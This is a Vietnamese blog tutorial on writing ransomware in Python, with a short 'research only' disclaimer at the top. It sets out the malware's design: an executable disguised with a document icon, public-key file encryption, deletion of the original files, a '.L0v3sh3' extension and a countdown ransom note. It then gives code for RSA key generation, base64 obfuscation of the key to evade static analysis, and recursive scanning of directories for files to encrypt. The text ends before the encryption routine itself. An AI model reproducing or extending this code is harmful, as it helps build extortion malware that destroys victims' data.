Tuyên bố từ chối trách nhiệm: Bài viết này chỉ dành cho mục đích nghiên cứu, đừng phá hoại bất kỳ máy tính nào ngoại trừ máy tính của bạn. Nếu bạn cố gắng tạo ra một con ransomware thực sự, thì bạn đang vi phạm pháp luật và bạn sẽ phải ngồi tù. Đi theo chính đạo, tà đạo dễ sa ngã vào con đường tội lỗi lắm nha anh em.
Ransomware là gì?
Ransomware giống như phần mềm độc hại hoặc virus máy tính, nhưng với một mục đích là mã hóa dữ liệu và đòi tiền chuộc cho bạn. Dữ liệu của bạn được mã hóa bằng mã hóa bất đối xứng và virus chỉ mã hóa bằng khóa công khai. Có một khóa riêng để giải mã dữ liệu của bạn trở lại, nhưng kẻ tấn công chắc chắn sẽ không đính kèm khóa riêng với virus.
Các bước chuẩn bị để tạo ransomware
Trước khi bạn xây dựng một số chương trình, bạn phải hiểu nó sẽ làm gì. Đây là danh sách các yêu cầu của mình, bạn cũng có thể sử dụng danh sách của riêng mình.
1. Chương trình phải là một tệp thực thi và có icon giống như một tệp tài liệu.
2. Chương trình phải mã hóa dữ liệu bằng khóa công khai
3. Sau khi mã hóa, chương trình phải xóa các tệp gốc và thay đổi phần mở rộng tệp được mã hóa thành “.L0v3sh3”.
4. Chương trình phải hiển thị thông báo có đồng hồ đếm ngược.
Viết chương trình Ransomware
Bước 1 – Tạo khóa cá nhân và khóa công khai
Đoạn code dưới đây dùng để tạo khóa cá nhân (privateKey) và khóa công khai (publicKey). Khá dễ hiểu nên mình sẽ không giải thích thêm.
”‘
pip install pycryptodome
‘”
from Crypto.PublicKey import RSA
key = RSA.generate(2048)
privateKey = key.export_key()
publicKey = key.publickey().export_key()
# lưu khóa cá nhân vào tệp
with open(‘private.pem’, ‘wb’) as f:
f.write(privateKey)
# lưu khóa công khai vào tệp
with open(‘public.pem’, ‘wb’) as f:
f.write(publicKey)
print(‘Private key saved to private.pem’)
print(‘Public key saved to public.pem’)
print(‘Done’)
Sau khi chạy file genKey.py, bạn sẽ có 2 tệp là private.pem và public.pem. Các bạn nhớ lưu file private.pem một cách an toàn.
Bước 2 – Mã hóa khóa công khai
Mục đích chính của việc mã hóa là làm cho khóa công khai khó xác định bằng cách phân tích phần mềm độc hại dạng tĩnh. Vì vậy, mình mã hóa khóa công khai bằng base64 và đính kèm khóa đó vào code của mình.
Vì vậy, bạn có thể mã hóa khóa riêng tư của mình, sau đó giải mã nó trong script.
import base64
with open(‘public.pem’, ‘rb’) as f:
public = f.read()
print(base64.b64encode(public))
Bước 3 – Mã hóa một số tệp trong thư mục
defscanRecurse(baseDir):
for entry in os.scandir(baseDir):
if entry.is_file():
yield entry
else:
yield from scanRecurse(entry.path)
Hàm trên là một hàm đệ quy để quét các thư mục và trả lại một loạt các tệp được liệt kê cùng đường dẫn. Sau đó, mình sử dụng hàm mã hóa và cung cấp danh sách file đã lấy trước đó.